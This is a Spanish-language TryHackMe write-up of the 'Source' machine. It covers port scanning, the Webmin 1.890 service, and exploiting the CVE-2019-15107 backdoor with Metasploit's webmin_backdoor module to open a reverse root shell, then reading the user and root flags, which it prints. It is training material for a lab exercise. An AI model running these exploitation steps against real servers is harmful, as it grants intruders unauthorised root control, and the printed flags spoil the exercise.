TryHackMe Easy Target IP: 10.129.145.156

Máquina Source

Resolución paso a paso de la máquina Source de TryHackMe, analizando el servicio Webmin y explotando un backdoor conocido para obtener privilegios de root directamente.

#Linux#Webmin#Metasploit#CVE-2019-15107#RCE#Backdoor#SSL

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.

Escaneo Completo de Nmap

Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):

sudo nmap -sV -A -T5 -p- 10.129.145.156
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.145.156

Resultados Clave de Nmap

El escaneo revela 2 puertos abiertos principales:

  • Puerto 22 (SSH): Servidor OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocolo 2.0).
  • Puerto 10000 (HTTP): Servidor web MiniServ 1.890 (Webmin httpd).

Fase 2: Enumeración y Configuración del Entorno

1. Inspección del Servidor Web (Puerto 10000)

Accedemos a la raíz del servidor web a través de la dirección IP por HTTP utilizando el puerto de Webmin: http://10.129.145.156:10000/. El navegador nos devuelve un error de tipo “Document follows” indicando que el servidor funciona en modo seguro (SSL):

Error de SSL en Webmin
El servidor solicita redirigir a una URL HTTPS con dominio interno

La sugerencia de redirección es: https://ip-10-129-145-156.eu-west-3.compute.internal:10000/

2. Configuración de /etc/hosts

Para que nuestra máquina atacante pueda resolver correctamente el dominio que exige el servidor Webmin, editamos nuestro archivo /etc/hosts utilizando nano en la terminal:

sudo nano /etc/hosts

Añadimos la siguiente línea asociando la IP de la máquina al dominio requerido: 10.129.145.156 ip-10-129-145-156.eu-west-3.compute.internal

Modificación del archivo hosts
Mapeo del dominio interno de la máquina víctima en /etc/hosts

3. Acceso a Webmin bajo SSL

Volvemos a cargar el sitio web utilizando la ruta segura https://ip-10-129-145-156.eu-west-3.compute.internal:10000/. Firefox nos detecta una advertencia de seguridad por certificado autofirmado:

Advertencia de riesgo de seguridad en Firefox
Alerta de Firefox sobre riesgo de seguridad potencial

Hacemos clic en “Advanced…” y aceptamos el riesgo agregando la excepción de seguridad. Esto nos redirige de forma exitosa a la página oficial de inicio de sesión de Webmin:

Panel de login de Webmin
Panel principal de autenticación de Webmin

Fase 3: Investigación de Vulnerabilidades

1. Búsqueda de Vulnerabilidades Conocidas

Dado que identificamos la versión exacta de Webmin como 1.890, procedemos a buscar en bases de datos de vulnerabilidades asociadas a esta versión y anteriores.

  • CVE-2018-19191: Esta vulnerabilidad reporta un Cross-Site Scripting (XSS) en Webmin 1.890 mediante /config.cgi?webmin. Sin embargo, es un impacto de severidad media y requiere autenticación, por lo que no es apto para un acceso inicial limpio.
Información de CVE-2018-19191
Descripción e impacto de CVE-2018-19191 en INCIBE-CERT
  • CVE-2019-15107 (OS Command Injection): Encontramos una vulnerabilidad crítica de inyección de comandos del sistema operativo descubierta en Webmin en sus versiones 1.890 a 1.920. Afecta directamente al parámetro password_change.cgi y permite a un atacante no autenticado ejecutar comandos arbitrarios con privilegios de root a través de una puerta trasera (backdoor) presente en instalaciones por defecto de la versión 1.890.
Información de CVE-2019-15107
Ficha de la vulnerabilidad crítica CVE-2019-15107

Fase 4: Explotación y Acceso Inicial

1. Búsqueda del Exploit en Metasploit

Iniciamos la consola de Metasploit (msfconsole) en nuestra máquina atacante y buscamos módulos relacionados con webmin:

msfconsole
search webmin
Búsqueda de módulos de Webmin en MSF
Módulos de Metasploit encontrados para Webmin

Seleccionamos el exploit catalogado como exploit/linux/http/webmin_backdoor con el comando:

use 10

Revisamos la información detallada de este módulo para entender las versiones afectadas y el mecanismo empleado:

Información del exploit webmin_backdoor
Descripción detallada de la puerta trasera de Webmin 1.890 en Metasploit

2. Configuración y Primer Intento

Revisamos las opciones requeridas del módulo:

show options
Opciones de configuración del exploit
Opciones iniciales del exploit webmin_backdoor

Configuramos las variables básicas:

  • RHOSTS: IP de la máquina víctima (10.129.145.156).
  • LHOST: IP de nuestra interfaz tunelada de atacante (192.168.149.112).
set RHOSTS 10.129.145.156
set LHOST 192.168.149.112
exploit

El primer intento falla rápidamente debido a que la conexión es rechazada por el servidor:

Fallo inicial de exploit
Error de conexión debido a que SSL está desactivado en la configuración de Metasploit
  • Error obtenido: Exploit failed: Errno::ENOTCONN Transport endpoint is not connected

3. Activación de SSL y Explotación Exitosa

Dado que determinamos previamente que el sitio web funciona estrictamente sobre HTTPS, habilitamos la opción SSL dentro de Metasploit y relanzamos el ataque:

set SSL true
exploit
Explotación exitosa con SSL
Obtención de una sesión de consola reversa de Perl como usuario root

La vulnerabilidad es explotada de forma exitosa y se abre una sesión de consola interactiva (Command shell session 1). Al listar el directorio actual con ls, vemos los archivos internos de la aplicación Webmin.


Fase 5: Post-Explotación y Obtención de Flags

Una vez dentro de la máquina con la shell abierta, procedemos a realizar la fase de enumeración del sistema para extraer información y las correspondientes banderas.

1. Verificación de Privilegios

Confirmamos que somos el usuario administrador supremo (root) y la ubicación actual de la shell:

whoami
pwd
  • Usuario: root
  • Ruta: /usr/share/webmin

2. Extracción de Flag Root

Listamos el directorio raíz de root y visualizamos el contenido del archivo root.txt:

ls -lha /root
cat /root/root.txt
Bandera de root obtenida
Visualización de la flag de root en la máquina víctima
  • Flag Root: THM{UPDATE_YOUR_INSTALL}

3. Extracción de Flag de Usuario

Investigamos las cuentas del sistema en /home y encontramos la carpeta de un usuario llamado dark. Listamos sus archivos y leemos la bandera user.txt:

ls /home
ls -lha /home/dark
cat /home/dark/user.txt
Bandera de usuario dark
Obtención de la bandera de usuario dark y hallazgo del instalador .deb de Webmin
  • Flag User (dark): THM{SUPPLY_CHAIN_COMPROMISE}

Adicionalmente, en la carpeta del usuario dark se localiza el archivo instalador Debian vulnerable webmin_1.890_all.deb, confirmando el origen y vector de intrusión de la máquina.

La máquina ha sido totalmente comprometida.


Fuentes y Referencias